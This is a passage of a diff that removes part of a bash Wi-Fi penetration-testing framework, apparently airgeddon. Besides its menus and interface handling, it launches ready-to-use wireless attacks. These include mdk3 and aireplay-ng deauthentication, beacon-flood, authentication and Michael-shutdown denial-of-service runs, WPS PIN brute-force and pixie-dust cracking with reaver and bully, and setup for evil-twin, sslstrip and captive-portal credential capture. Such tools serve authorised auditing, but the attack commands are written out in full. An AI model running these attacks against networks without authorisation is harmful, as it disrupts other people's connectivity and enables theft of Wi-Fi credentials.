grep station) - ifacemode="Managed" - [[ ${new_interface} =~ \]?([A-Za-z0-9]+)\)?$ ]] && new_interface="${BASH_REMATCH[1]}" - - if [ "${interface}" != "${new_interface}" ]; then - check_interface_coherence - if [ "$?" = "0" ]; then - interface=${new_interface} - fi - echo - language_strings "${language}" 15 "yellow" - fi - - echo - language_strings "${language}" 16 "yellow" - language_strings "${language}" 115 "read" -} - -#Put the interface on monitor mode and manage the possible name change -function monitor_option() { - - debug_print - - check_to_set_monitor - - if [ "$?" != "0" ]; then - return - fi - - disable_rfkill - - language_strings "${language}" 18 "blue" - - ifconfig "${interface}" up - iwconfig "${interface}" rate 1M > /dev/null 2>&1 - - if [ "$?" != "0" ]; then - echo - language_strings "${language}" 20 "red" - language_strings "${language}" 115 "read" - return - fi - - if [ "${check_kill_needed}" -eq 1 ]; then - language_strings "${language}" 19 "blue" - ${airmon} check kill > /dev/null 2>&1 - nm_processes_killed=1 - fi - - new_interface=$(${airmon} start "${interface}" 2> /dev/null | grep monitor) - ifacemode="Monitor" - [[ ${new_interface} =~ \]?([A-Za-z0-9]+)\)?$ ]] && new_interface="${BASH_REMATCH[1]}" - - if [ "${interface}" != "${new_interface}" ]; then - check_interface_coherence - if [ "$?" = "0" ]; then - interface=${new_interface} - fi - echo - language_strings "${language}" 21 "yellow" - fi - - echo - language_strings "${language}" 22 "yellow" - language_strings "${language}" 115 "read" -} - -#Check the interface mode -function check_interface_mode() { - - debug_print - - execute_iwconfig_fix - if [ "$?" != "0" ]; then - ifacemode="(Non wifi card)" - return 0 - fi - - modemanaged=$(iwconfig "${interface}" 2> /dev/null | grep Mode: | cut -d ':' -f 2 | cut -d ' ' -f 1) - - if [[ ${modemanaged} = "Managed" ]]; then - ifacemode="Managed" - return 0 - fi - - modemonitor=$(iwconfig "${interface}" 2> /dev/null | grep Mode: | awk '{print $4}' | cut -d ':' -f 2) - - if [[ ${modemonitor} = "Monitor" ]]; then - ifacemode="Monitor" - return 0 - fi - - language_strings "${language}" 23 "red" - language_strings "${language}" 115 "read" - exit_code=1 - exit_script_option -} - -#Language change menu -function language_menu() { - - debug_print - - clear - language_strings "${language}" 87 "title" - current_menu="language_menu" - initialize_menu_and_print_selections - echo - language_strings "${language}" 81 "green" - print_simple_separator - language_strings "${language}" 79 - language_strings "${language}" 80 - language_strings "${language}" 113 - language_strings "${language}" 116 - language_strings "${language}" 249 - language_strings "${language}" 308 - language_strings "${language}" 320 - print_hint ${current_menu} - - read -r language_selected - echo - case ${language_selected} in - 1) - if [ "${language}" = "ENGLISH" ]; then - language_strings "${language}" 251 "red" - else - language="ENGLISH" - language_strings "${language}" 83 "yellow" - fi - language_strings "${language}" 115 "read" - ;; - 2) - if [ "${language}" = "SPANISH" ]; then - language_strings "${language}" 251 "red" - else - language="SPANISH" - language_strings "${language}" 84 "yellow" - fi - language_strings "${language}" 115 "read" - ;; - 3) - if [ "${language}" = "FRENCH" ]; then - language_strings "${language}" 251 "red" - else - language="FRENCH" - language_strings "${language}" 112 "yellow" - fi - language_strings "${language}" 115 "read" - ;; - 4) - if [ "${language}" = "CATALAN" ]; then - language_strings "${language}" 251 "red" - else - language="CATALAN" - language_strings "${language}" 117 "yellow" - fi - language_strings "${language}" 115 "read" - ;; - 5) - if [ "${language}" = "PORTUGUESE" ]; then - language_strings "${language}" 251 "red" - else - language="PORTUGUESE" - language_strings "${language}" 248 "yellow" - fi - language_strings "${language}" 115 "read" - ;; - 6) - if [ "${language}" = "RUSSIAN" ]; then - language_strings "${language}" 251 "red" - else - language="RUSSIAN" - language_strings "${language}" 307 "yellow" - fi - language_strings "${language}" 115 "read" - ;; - 7) - if [ "${language}" = "GREEK" ]; then - language_strings "${language}" 251 "red" - else - language="GREEK" - language_strings "${language}" 332 "yellow" - fi - language_strings "${language}" 115 "read" - ;; - *) - invalid_language_selected - ;; - esac -} - -#Read the chipset for an interface -function set_chipset() { - - debug_print - - chipset="" - sedrule1="s/^....//" - sedrule2="s/ Network Connection//g" - sedrule3="s/ Wireless Adapter//" - sedrule4="s/Wireless LAN Controller //g" - sedrule5="s/ Wireless Adapter//" - sedrule6="s/^ //" - sedrule7="s/ Gigabit Ethernet.*//" - sedrule8="s/ Fast Ethernet.*//" - sedrule9="s/ \[.*//" - sedrule10="s/ (.*//" - - sedrulewifi="${sedrule1};${sedrule2};${sedrule3};${sedrule6}" - sedrulegeneric="${sedrule4};${sedrule2};${sedrule5};${sedrule6};${sedrule7};${sedrule8};${sedrule9};${sedrule10}" - sedruleall="${sedrule1};${sedrule2};${sedrule3};${sedrule6};${sedrule7};${sedrule8};${sedrule9};${sedrule10}" - - if [ -f "/sys/class/net/${1}/device/modalias" ]; then - - bus_type=$(cut -d ":" -f 1 < "/sys/class/net/${1}/device/modalias") - - if [ "${bus_type}" = "usb" ]; then - vendor_and_device=$(cut -b 6-14 < "/sys/class/net/${1}/device/modalias" | sed 's/^.//;s/p/:/') - chipset=$(lsusb | grep -i "${vendor_and_device}" | head -n1 - | cut -f3- -d ":" | sed "${sedrulewifi}") - - elif [[ "${bus_type}" =~ pci|ssb|bcma|pcmcia ]]; then - - if [[ -f /sys/class/net/${1}/device/vendor && -f /sys/class/net/${1}/device/device ]]; then - vendor_and_device=$(cat "/sys/class/net/${1}/device/vendor"):$(cat "/sys/class/net/${1}/device/device") - chipset=$(lspci -d "${vendor_and_device}" | cut -f3- -d ":" | sed "${sedrulegeneric}") - else - if hash ethtool 2> /dev/null; then - ethtool_output=$(ethtool -i "${1}" 2>&1) - vendor_and_device=$(printf "%s" "${ethtool_output}" | grep bus-info | cut -d ":" -f "3-" | sed 's/^ //') - chipset=$(lspci | grep "${vendor_and_device}" | head -n1 - | cut -f3- -d ":" | sed "${sedrulegeneric}") - fi - fi - fi - elif [[ -f /sys/class/net/${1}/device/idVendor && -f /sys/class/net/${1}/device/idProduct ]]; then - vendor_and_device=$(cat "/sys/class/net/${1}/device/idVendor"):$(cat "/sys/class/net/${1}/device/idProduct") - chipset=$(lsusb | grep -i "${vendor_and_device}" | head -n1 - | cut -f3- -d ":" | sed "${sedruleall}") - fi -} - -#Internet interface selection menu -function select_internet_interface() { - - debug_print - - if [ "${return_to_et_main_menu}" -eq 1 ]; then - return 1 - fi - - current_menu="evil_twin_attacks_menu" - clear - case ${et_mode} in - "et_onlyap") - language_strings "${language}" 270 "title" - ;; - "et_sniffing") - language_strings "${language}" 291 "title" - ;; - "et_sniffing_sslstrip") - language_strings "${language}" 292 "title" - ;; - "et_sniffing_sslstrip2") - language_strings "${language}" 397 "title" - ;; - "et_captive_portal") - language_strings "${language}" 293 "title" - ;; - esac - - inet_ifaces=$(ip link | egrep "^[0-9]+" | cut -d ':' -f 2 | awk '{print $1}' | grep lo -v | grep "${interface}" -v) - - option_counter=0 - for item in ${inet_ifaces}; do - - if [ ${option_counter} -eq 0 ]; then - language_strings "${language}" 279 "green" - print_simple_separator - fi - - option_counter=$((option_counter + 1)) - if [ ${#option_counter} -eq 1 ]; then - spaceiface=" " - else - spaceiface=" " - fi - set_chipset "${item}" - echo -ne "${option_counter}.${spaceiface}${item} " - if [ "${chipset}" = "" ]; then - language_strings "${language}" 245 "blue" - else - echo -e "${blue_color}// ${yellow_color}Chipset:${normal_color} ${chipset}" - fi - done - - if [ ${option_counter} -eq 0 ]; then - return_to_et_main_menu=1 - return_to_et_main_menu_from_beef=1 - echo - language_strings "${language}" 280 "red" - language_strings "${language}" 115 "read" - return 1 - fi - - option_counter_back=$((option_counter + 1)) - if [ ${option_counter: -1} -eq 9 ]; then - spaceiface+=" " - fi - print_simple_separator - language_strings "${language}" 331 - print_hint ${current_menu} - - read -r inet_iface - if [ -z "${inet_iface}" ]; then - invalid_internet_iface_selected - elif [[ ${inet_iface} -lt 1 ]] || [[ ${inet_iface} -gt ${option_counter_back} ]]; then - invalid_internet_iface_selected - elif [ "${inet_iface}" -eq ${option_counter_back} ]; then - return_to_et_main_menu=1 - return_to_et_main_menu_from_beef=1 - return 1 - else - option_counter2=0 - for item2 in ${inet_ifaces}; do - option_counter2=$((option_counter2 + 1)) - if [[ "${inet_iface}" = "${option_counter2}" ]]; then - internet_interface=${item2} - break - fi - done - return 0 - fi -} - -#Interface selection menu -function select_interface() { - - debug_print - - clear - language_strings "${language}" 88 "title" - current_menu="select_interface_menu" - language_strings "${language}" 24 "green" - print_simple_separator - ifaces=$(ip link | egrep "^[0-9]+" | cut -d ':' -f 2 | awk '{print $1}' | grep lo -v) - option_counter=0 - for item in ${ifaces}; do - option_counter=$((option_counter + 1)) - if [ ${#option_counter} -eq 1 ]; then - spaceiface=" " - else - spaceiface=" " - fi - set_chipset "${item}" - echo -ne "${option_counter}.${spaceiface}${item} " - if [ "${chipset}" = "" ]; then - language_strings "${language}" 245 "blue" - else - echo -e "${blue_color}// ${yellow_color}Chipset:${normal_color} ${chipset}" - fi - done - print_hint ${current_menu} - - read -r iface - if [ -z "${iface}" ]; then - invalid_iface_selected - elif [[ ${iface} -lt 1 ]] || [[ ${iface} -gt ${option_counter} ]]; then - invalid_iface_selected - else - option_counter2=0 - for item2 in ${ifaces}; do - option_counter2=$((option_counter2 + 1)) - if [[ "${iface}" = "${option_counter2}" ]]; then - interface=${item2} - interface_mac=$(ip link show "${interface}" | awk '/ether/ {print $2}') - break - fi - done - fi -} - -#Read the user input on yes/no questions -function read_yesno() { - - debug_print - - echo - language_strings "${language}" "${1}" "green" - read -r yesno -} - -#Validate the input on yes/no questions -function ask_yesno() { - - debug_print - - yesno="" - while [[ ! ${yesno} =~ ^[YyNn]$ ]]; do - read_yesno "${1}" - done - - if [ "${yesno}" = "Y" ]; then - yesno="y" - fi - if [ "${yesno}" = "N" ]; then - yesno="n" - fi -} - -#Read the user input on channel questions -function read_channel() { - - debug_print - - echo - language_strings "${language}" 25 "green" - if [ "${1}" = "wps" ]; then - read -r wps_channel - else - read -r channel - fi -} - -#Validate the input on channel questions -function ask_channel() { - - debug_print - - local regexp="^([1-9]|1[0-4])$" - - if [ "${1}" = "wps" ]; then - while [[ ! ${wps_channel} =~ ${regexp} ]]; do - read_channel "wps" - done - echo - language_strings "${language}" 365 "blue" - else - while [[ ! ${channel} =~ ${regexp} ]]; do - read_channel - done - echo - language_strings "${language}" 26 "blue" - fi -} - -#Read the user input on bssid questions -function read_bssid() { - - debug_print - - echo - language_strings "${language}" 27 "green" - if [ "${1}" = "wps" ]; then - read -r wps_bssid - else - read -r bssid - fi -} - -#Validate the input on bssid questions -function ask_bssid() { - - debug_print - - local regexp="^([a-fA-F0-9]{2}:){5}[a-zA-Z0-9]{2}$" - - if [ "${1}" = "wps" ]; then - while [[ ! ${wps_bssid} =~ ${regexp} ]]; do - read_bssid "wps" - done - echo - language_strings "${language}" 364 "blue" - else - while [[ ! ${bssid} =~ ${regexp} ]]; do - read_bssid - done - echo - language_strings "${language}" 28 "blue" - fi -} - -#Read the user input on essid questions -function read_essid() { - - debug_print - - echo - language_strings "${language}" 29 "green" - read -r essid -} - -#Validate the input on essid questions -function ask_essid() { - - debug_print - - if [ -z "${essid}" ]; then - while [[ -z "${essid}" ]]; do - read_essid - done - elif [ "${essid}" = "(Hidden Network)" ]; then - echo - language_strings "${language}" 30 "yellow" - read_essid - fi - - echo - language_strings "${language}" 31 "blue" -} - -#Read the user input on custom pin questions -function read_custom_pin() { - - debug_print - - echo - language_strings "${language}" 363 "green" - read -r custom_pin -} - -#Validate the input on custom pin questions -function ask_custom_pin() { - - debug_print - - local regexp="^[0-9]{8}$" - custom_pin="" - while [[ ! ${custom_pin} =~ ${regexp} ]]; do - read_custom_pin - done - - echo - language_strings "${language}" 362 "blue" -} - -#Read the user input on timeout questions -function read_timeout() { - - debug_print - - echo - case ${1} in - "standard") - language_strings "${language}" 393 "green" - ;; - "pixiedust") - language_strings "${language}" 394 "green" - ;; - esac - read -r timeout -} - -#Validate the user input for timeouts -function ask_wps_timeout() { - - debug_print - - case ${1} in - "standard") - local regexp="^[1-9][0-9]$|^100$|^$" - ;; - "pixiedust") - local regexp="^2[5-9]$|^[3-9][0-9]$|^[1-9][0-9]{2}$|^1[0-9]{3}$|^2[0-3][0-9]{2}$|^2400$|^$" - ;; - esac - - timeout=0 - while [[ ! ${timeout} =~ ${regexp} ]]; do - read_timeout "${1}" - done - - if [ "${timeout}" = "" ]; then - case ${1} in - "standard") - timeout=${timeout_secs_per_pin} - ;; - "pixiedust") - timeout=${timeout_secs_per_pixiedust} - ;; - esac - fi - - echo - case ${1} in - "standard") - timeout_secs_per_pin=${timeout} - language_strings "${language}" 391 "blue" - ;; - "pixiedust") - timeout_secs_per_pixiedust=${timeout} - language_strings "${language}" 392 "blue" - ;; - esac -} - -#Execute wps custom pin bully attack -function exec_wps_custom_pin_bully_attack() { - - debug_print - - echo - language_strings "${language}" 32 "green" - - set_wps_attack_script "bully" "custompin" - - echo - language_strings "${language}" 33 "yellow" - language_strings "${language}" 366 "blue" - language_strings "${language}" 4 "read" - recalculate_windows_sizes - xterm -hold -bg black -fg red -geometry "${g2_stdleft_window}" -T "WPS custom pin bully attack" -e "bash \"${tmpdir}${wps_attack_script_file}\"" > /dev/null 2>&1 -} - -#Execute wps custom pin reaver attack -function exec_wps_custom_pin_reaver_attack() { - - debug_print - - echo - language_strings "${language}" 32 "green" - - set_wps_attack_script "reaver" "custompin" - - echo - language_strings "${language}" 33 "yellow" - language_strings "${language}" 366 "blue" - language_strings "${language}" 4 "read" - recalculate_windows_sizes - xterm -hold -bg black -fg red -geometry "${g2_stdleft_window}" -T "WPS custom pin reaver attack" -e "bash \"${tmpdir}${wps_attack_script_file}\"" > /dev/null 2>&1 -} - -#Execute bully pixie dust attack -function exec_bully_pixiewps_attack() { - - debug_print - - echo - language_strings "${language}" 32 "green" - - set_wps_attack_script "bully" "pixiedust" - - echo - language_strings "${language}" 33 "yellow" - language_strings "${language}" 366 "blue" - language_strings "${language}" 4 "read" - recalculate_windows_sizes - xterm -hold -bg black -fg red -geometry "${g2_stdright_window}" -T "WPS bully pixie dust attack" -e "bash \"${tmpdir}${wps_attack_script_file}\"" > /dev/null 2>&1 -} - -#Execute reaver pixie dust attack -function exec_reaver_pixiewps_attack() { - - debug_print - - echo - language_strings "${language}" 32 "green" - - set_wps_attack_script "reaver" "pixiedust" - - echo - language_strings "${language}" 33 "yellow" - language_strings "${language}" 366 "blue" - language_strings "${language}" 4 "read" - recalculate_windows_sizes - xterm -hold -bg black -fg red -geometry "${g2_stdright_window}" -T "WPS reaver pixie dust attack" -e "bash \"${tmpdir}${wps_attack_script_file}\"" > /dev/null 2>&1 -} - -#Execute wps bruteforce pin bully attack -function exec_wps_bruteforce_pin_bully_attack() { - - debug_print - - echo - language_strings "${language}" 32 "green" - - set_wps_attack_script "bully" "bruteforce" - - echo - language_strings "${language}" 33 "yellow" - language_strings "${language}" 366 "blue" - language_strings "${language}" 4 "read" - recalculate_windows_sizes - xterm -hold -bg black -fg red -geometry "${g2_stdleft_window}" -T "WPS bruteforce pin bully attack" -e "bash \"${tmpdir}${wps_attack_script_file}\"" > /dev/null 2>&1 -} - -#Execute wps bruteforce pin reaver attack -function exec_wps_bruteforce_pin_reaver_attack() { - - debug_print - - echo - language_strings "${language}" 32 "green" - - set_wps_attack_script "reaver" "bruteforce" - - echo - language_strings "${language}" 33 "yellow" - language_strings "${language}" 366 "blue" - language_strings "${language}" 4 "read" - recalculate_windows_sizes - xterm -hold -bg black -fg red -geometry "${g2_stdleft_window}" -T "WPS bruteforce pin reaver attack" -e "bash \"${tmpdir}${wps_attack_script_file}\"" > /dev/null 2>&1 -} - -#Execute wps pin database bully attack -function exec_wps_pin_database_bully_attack() { - - debug_print - - wps_pin_database_prerequisites - - set_wps_attack_script "bully" "pindb" - - recalculate_windows_sizes - xterm -hold -bg black -fg red -geometry "${g2_stdright_window}" -T "WPS bully known pins database based attack" -e "bash \"${tmpdir}${wps_attack_script_file}\"" > /dev/null 2>&1 -} - -#Execute wps pin database reaver attack -function exec_wps_pin_database_reaver_attack() { - - debug_print - - wps_pin_database_prerequisites - - set_wps_attack_script "reaver" "pindb" - - recalculate_windows_sizes - xterm -hold -bg black -fg red -geometry "${g2_stdright_window}" -T "WPS reaver known pins database based attack" -e "bash \"${tmpdir}${wps_attack_script_file}\"" > /dev/null 2>&1 -} - -#Execute mdk3 deauth DoS attack -function exec_mdk3deauth() { - - debug_print - - echo - language_strings "${language}" 89 "title" - language_strings "${language}" 32 "green" - - tmpfiles_toclean=1 - rm -rf "${tmpdir}bl.txt" > /dev/null 2>&1 - echo "${bssid}" > "${tmpdir}bl.txt" - - echo - language_strings "${language}" 33 "yellow" - language_strings "${language}" 4 "read" - recalculate_windows_sizes - xterm +j -bg black -fg red -geometry "${g1_topleft_window}" -T "mdk3 amok attack" -e mdk3 "${interface}" d -b "${tmpdir}bl.txt" -c "${channel}" > /dev/null 2>&1 -} - -#Execute aireplay DoS attack -function exec_aireplaydeauth() { - - debug_print - - echo - language_strings "${language}" 90 "title" - language_strings "${language}" 32 "green" - - ${airmon} start "${interface}" "${channel}" > /dev/null 2>&1 - - echo - language_strings "${language}" 33 "yellow" - language_strings "${language}" 4 "read" - recalculate_windows_sizes - xterm +j -bg black -fg red -geometry "${g1_topleft_window}" -T "aireplay deauth attack" -e aireplay-ng --deauth 0 -a "${bssid}" --ignore-negative-one "${interface}" > /dev/null 2>&1 -} - -#Execute WDS confusion DoS attack -function exec_wdsconfusion() { - - debug_print - - echo - language_strings "${language}" 91 "title" - language_strings "${language}" 32 "green" - - echo - language_strings "${language}" 33 "yellow" - language_strings "${language}" 4 "read" - recalculate_windows_sizes - xterm +j -bg black -fg red -geometry "${g1_topleft_window}" -T "wids / wips / wds confusion attack" -e mdk3 "${interface}" w -e "${essid}" -c "${channel}" > /dev/null 2>&1 -} - -#Execute Beacon flood DoS attack -function exec_beaconflood() { - - debug_print - - echo - language_strings "${language}" 92 "title" - language_strings "${language}" 32 "green" - - echo - language_strings "${language}" 33 "yellow" - language_strings "${language}" 4 "read" - recalculate_windows_sizes - xterm +j -sb -rightbar -geometry "${g1_topleft_window}" -T "beacon flood attack" -e mdk3 "${interface}" b -n "${essid}" -c "${channel}" -s 1000 -h > /dev/null 2>&1 -} - -#Execute Auth DoS attack -function exec_authdos() { - - debug_print - - echo - language_strings "${language}" 93 "title" - language_strings "${language}" 32 "green" - - echo - language_strings "${language}" 33 "yellow" - language_strings "${language}" 4 "read" - recalculate_windows_sizes - xterm +j -sb -rightbar -geometry "${g1_topleft_window}" -T "auth dos attack" -e mdk3 "${interface}" a -a "${bssid}" -m -s 1024 > /dev/null 2>&1 -} - -#Execute Michael Shutdown DoS attack -function exec_michaelshutdown() { - - debug_print - - echo - language_strings "${language}" 94 "title" - language_strings "${language}" 32 "green" - - echo - language_strings "${language}" 33 "yellow" - language_strings "${language}" 4 "read" - recalculate_windows_sizes - xterm +j -sb -rightbar -geometry "${g1_topleft_window}" -T "michael shutdown attack" -e mdk3 "${interface}" m -t "${bssid}" -w 1 -n 1024 -s 1024 > /dev/null 2>&1 -} - -#Validate Mdk3 parameters -function mdk3_deauth_option() { - - debug_print - - echo - language_strings "${language}" 95 "title" - language_strings "${language}" 35 "green" - - check_monitor_enabled - if [ "$?" != "0" ]; then - return - fi - - echo - language_strings "${language}" 34 "yellow" - - ask_bssid - ask_channel - exec_mdk3deauth -} - -#Validate Aireplay parameters -function aireplay_deauth_option() { - - debug_print - - echo - language_strings "${language}" 96 "title" - language_strings "${language}" 36 "green" - - check_monitor_enabled - if [ "$?" != "0" ]; then - return - fi - - echo - language_strings "${language}" 34 "yellow" - - ask_bssid - ask_channel - exec_aireplaydeauth -} - -#Validate WDS confusion parameters -function wds_confusion_option() { - - debug_print - - echo - language_strings "${language}" 97 "title" - language_strings "${language}" 37 "green" - - check_monitor_enabled - if [ "$?" != "0" ]; then - return - fi - - echo - language_strings "${language}" 34 "yellow" - - ask_essid - ask_channel - exec_wdsconfusion -} - -#Validate Beacon flood parameters -function beacon_flood_option() { - - debug_print - - echo - language_strings "${language}" 98 "title" - language_strings "${language}" 38 "green" - - check_monitor_enabled - if [ "$?" != "0" ]; then - return - fi - - echo - language_strings "${language}" 34 "yellow" - - ask_essid - ask_channel - exec_beaconflood -} - -#Validate Auth DoS parameters -function auth_dos_option() { - - debug_print - - echo - language_strings "${language}" 99 "title" - language_strings "${language}" 39 "green" - - check_monitor_enabled - if [ "$?" != "0" ]; then - return - fi - - echo - language_strings "${language}" 34 "yellow" - - ask_bssid - exec_authdos -} - -#Validate Michael Shutdown parameters -function michael_shutdown_option() { - - debug_print - - echo - language_strings "${language}" 100 "title" - language_strings "${language}" 40 "green" - - check_monitor_enabled - if [ "$?" != "0" ]; then - return - fi - - echo - language_strings "${language}" 34 "yellow" - - ask_bssid - exec_michaelshutdown -} - -#Validate wps parameters for custom pin, pixie dust, bruteforce and pin database attacks -function wps_attacks_parameters() { - - debug_print - - check_monitor_enabled - if [ "$?" != "0" ]; then - return 1 - fi - - echo - language_strings "${language}" 34 "yellow" - - ask_bssid "wps" - ask_channel "wps" - - case ${wps_attack} in - "custompin_bully"|"custompin_reaver") - ask_custom_pin - ask_wps_timeout "standard" - ;; - "pixiedust_bully"|"pixiedust_reaver") - ask_wps_timeout "pixiedust" - ;; - "pindb_bully"|"pindb_reaver") - ask_wps_timeout "standard" - ;; - esac - - return 0 -} - -#Print selected interface -function print_iface_selected() { - - debug_print - - if [ -z "${interface}" ]; then - language_strings "${language}" 41 "red" - echo - language_strings "${language}" 115 "read" - select_interface - else - check_interface_mode - language_strings "${language}" 42 "blue" - fi -} - -#Print selected internet interface -function print_iface_internet_selected() { - - debug_print - - if [[ "${et_mode}" != "et_captive_portal" ]] || [[ ${captive_portal_mode} = "internet" ]]; then - if [ -z "${internet_interface}" ]; then - language_strings "${language}" 283 "blue" - else - language_strings "${language}" 282 "blue" - fi - fi -} - -#Print selected target parameters (bssid, channel, essid and type of encryption) -function print_all_target_vars() { - - debug_print - - if [ -n "${bssid}" ]; then - language_strings "${language}" 43 "blue" - if [ -n "${channel}" ]; then - language_strings "${language}" 44 "blue" - fi - if [ -n "${essid}" ]; then - if [ "${essid}" = "(Hidden Network)" ]; then - language_strings "${language}" 45 "blue" - else - language_strings "${language}" 46 "blue" - fi - fi - if [ -n "${enc}" ]; then - language_strings "${language}" 135 "blue" - fi - fi -} - -#Print selected target parameters on evil twin menu (bssid, channel and essid) -function print_all_target_vars_et() { - - debug_print - - if [ -n "${bssid}" ]; then - language_strings "${language}" 43 "blue" - else - language_strings "${language}" 271 "blue" - fi - - if [ -n "${channel}" ]; then - language_strings "${language}" 44 "blue" - else - language_strings "${language}" 273 "blue" - fi - - if [ -n "${essid}" ]; then - if [ "${essid}" = "(Hidden Network)" ]; then - language_strings "${language}" 45 "blue" - else - language_strings "${language}" 46 "blue" - fi - else - language_strings "${language}" 274 "blue" - fi -} - -#Print selected target parameters on evil twin submenus (bssid, channel, essid, DoS type and Handshake file) -function print_et_target_vars() { - - debug_print - - if [ -n "${bssid}" ]; then - language_strings "${language}" 43 "blue" - else - language_strings "${language}" 271 "blue" - fi - - if [ -n "${channel}" ]; then - language_strings "${language}" 44 "blue" - else - language_strings "${language}" 273 "blue" - fi - - if [ -n "${essid}" ]; then - if [ "${essid}" = "(Hidden Network)" ]; then - language_strings "${language}" 45 "blue" - else - language_strings "${language}" 46 "blue" - fi - else - language_strings "${language}" 274 "blue" - fi - - if [ "${current_menu}" != "et_dos_menu" ]; then - if [ -n "${et_dos_attack}" ]; then - language_strings "${language}" 272 "blue" - else - language_strings "${language}" 278 "blue" - fi - fi - - if [ "${et_mode}" = "et_captive_portal" ]; then - if [ -n "${et_handshake}" ]; then - language_strings "${language}" 311 "blue" - else - if [ -n "${enteredpath}" ]; then - language_strings "${language}" 314 "blue" - else - language_strings "${language}" 310 "blue" - fi - fi - fi -} - -#Print selected target parameters on wps attacks menu (bssid, channel and essid) -function print_all_target_vars_wps() { - - debug_print - - if [ -n "${wps_bssid}" ]; then - language_strings "${language}" 335 "blue" - else - language_strings "${language}" 339 "blue" - fi - - if [ -n "${wps_channel}" ]; then - language_strings "${language}" 336 "blue" - else - language_strings "${language}" 340 "blue" - fi - - if [ -n "${wps_essid}" ]; then - if [ "${wps_essid}" = "(Hidden Network)" ]; then - language_strings "${language}" 337 "blue" - else - language_strings "${language}" 338 "blue" - fi - else - language_strings "${language}" 341 "blue" - fi - - if [ -n "${wps_locked}" ]; then - language_strings "${language}" 351 "blue" - else - language_strings "${language}" 352 "blue" - fi -} - -#Print selected target parameters on decrypt menu (bssid, Handshake file, dictionary file and rules file) -function print_decrypt_vars() { - - debug_print - - if [ -n "${bssid}" ]; then - language_strings "${language}" 43 "blue" - else - language_strings "${language}" 185 "blue" - fi - - if [ -n "${enteredpath}" ]; then - language_strings "${language}" 173 "blue" - else - language_strings "${language}" 177 "blue" - fi - - if [ -n "${DICTIONARY}" ]; then - language_strings "${language}" 182 "blue" - fi - - if [ -n "${RULES}" ]; then - language_strings "${language}" 243 "blue" - fi -} - -#Create the dependencies arrays -function initialize_menu_options_dependencies() { - - debug_print - - clean_handshake_dependencies=(${optional_tools_names[0]}) - aircrack_attacks_dependencies=(${optional_tools_names[1]}) - aireplay_attack_dependencies=(${optional_tools_names[2]}) - mdk3_attack_dependencies=(${optional_tools_names[3]}) - hashcat_attacks_dependencies=(${optional_tools_names[4]}) - et_onlyap_dependencies=(${optional_tools_names[5]} ${optional_tools_names[6]} ${optional_tools_names[7]}) - et_sniffing_dependencies=(${optional_tools_names[5]} ${optional_tools_names[6]} ${optional_tools_names[7]} ${optional_tools_names[8]} ${optional_tools_names[9]}) - et_sniffing_sslstrip_dependencies=(${optional_tools_names[5]} ${optional_tools_names[6]} ${optional_tools_names[7]} ${optional_tools_names[8]} ${optional_tools_names[9]} ${optional_tools_names[10]}) - et_captive_portal_dependencies=(${optional_tools_names[5]} ${optional_tools_names[6]} ${optional_tools_names[7]} ${optional_tools_names[11]}) - wash_scan_dependencies=(${optional_tools_names[13]}) - reaver_attacks_dependencies=(${optional_tools_names[14]}) - bully_attacks_dependencies=(${optional_tools_names[15]} ${optional_tools_names[17]}) - bully_pixie_dust_attack_dependencies=(${optional_tools_names[15]} ${optional_tools_names[16]} ${optional_tools_names[17]}) - reaver_pixie_dust_attack_dependencies=(${optional_tools_names[14]} ${optional_tools_names[16]}) - et_sniffing_sslstrip2_dependencies=(${optional_tools_names[5]} ${optional_tools_names[6]} ${optional_tools_names[7]} ${optional_tools_names[18]} ${optional_tools_names[19]}) -} - -#Set possible changes for some commands that can be found in different ways depending of the O.S. -function set_possible_aliases() { - - debug_print - - for item in "${!possible_alias_names[@]}"; do - if ! hash "${item}" 2> /dev/null || [[ "${item}" = "beef" ]]; then - arraliases=(${possible_alias_names[${item//[[:space:]]/ }]}) - for item2 in "${arraliases[@]}"; do - if hash "${item2}" 2> /dev/null; then - optional_tools_names=(${optional_tools_names[@]/${item}/${item2}}) - break - fi - done - fi - done -} - -#Initialize optional_tools values -function initialize_optional_tools_values() { - - debug_print - - declare -gA optional_tools - - for item in "${optional_tools_names[@]}"; do - optional_tools[${item}]=0 - done -} - -#Set some vars depending of the menu and invoke the printing of target vars -function initialize_menu_and_print_selections() { - - debug_print - - forbidden_options=() - - case ${current_menu} in - "main_menu") - print_iface_selected - ;; - "decrypt_menu") - print_decrypt_vars - ;; - "handshake_tools_menu") - print_iface_selected - print_all_target_vars - ;; - "dos_attacks_menu") - print_iface_selected - print_all_target_vars - ;; - "attack_handshake_menu") - print_iface_selected - print_all_target_vars - ;; - "language_menu") - print_iface_selected - ;; - "evil_twin_attacks_menu") - return_to_et_main_menu=0 - retry_handshake_capture=0 - return_to_et_main_menu_from_beef=0 - retrying_handshake_capture=0 - internet_interface_selected=0 - captive_portal_mode="internet" - et_mode="" - et_processes=() - print_iface_selected - print_all_target_vars_et - ;; - "et_dos_menu") - if [ ${retry_handshake_capture} -eq 1 ]; then - retry_handshake_capture=0 - retrying_handshake_capture=1 - fi - print_iface_selected - print_et_target_vars - print_iface_internet_selected - ;; - "wps_attacks_menu") - print_iface_selected - print_all_target_vars_wps - ;; - "beef_pre_menu") - print_iface_selected - print_all_target_vars_et - ;; - *) - print_iface_selected - print_all_target_vars - ;; - esac -} - -#Clean temporary files -function clean_tmpfiles() { - - debug_print - - rm -rf "${tmpdir}bl.txt" > /dev/null 2>&1 - rm -rf "${tmpdir}handshake"* > /dev/null 2>&1 - rm -rf "${tmpdir}nws"* > /dev/null 2>&1 - rm -rf "${tmpdir}clts"* > /dev/null 2>&1 - rm -rf "${tmpdir}wnws.txt" > /dev/null 2>&1 - rm -rf "${tmpdir}hctmp"* > /dev/null 2>&1 - rm -rf "${tmpdir}${hostapd_file}" > /dev/null 2>&1 - rm -rf "${tmpdir}${dhcpd_file}" > /dev/null 2>&1 - rm -rf "${tmpdir}${control_file}" > /dev/null 2>&1 - rm -rf "${tmpdir}parsed_file" > /dev/null 2>&1 - rm -rf "${tmpdir}${ettercap_file}"* > /dev/null 2>&1 - rm -rf "${tmpdir}${bettercap_file}"* > /dev/null 2>&1 - rm -rf "${tmpdir}${beef_file}" > /dev/null 2>&1 - if [ "${beef_found}" -eq 1 ]; then - rm -rf "${beef_path}${beef_file}" > /dev/null 2>&1 - fi - rm -rf "${tmpdir}${sslstrip_file}" > /dev/null 2>&1 - rm -rf "${tmpdir}${webserver_file}" > /dev/null 2>&1 - rm -rf -R "${tmpdir}${webdir}" > /dev/null 2>&1 - if [ "${dhcpd_path_changed}" -eq 1 ]; then - rm -rf "${dhcp_path}" > /dev/null 2>&1 - fi - rm -rf "${tmpdir}wps"* > /dev/null 2>&1 - rm 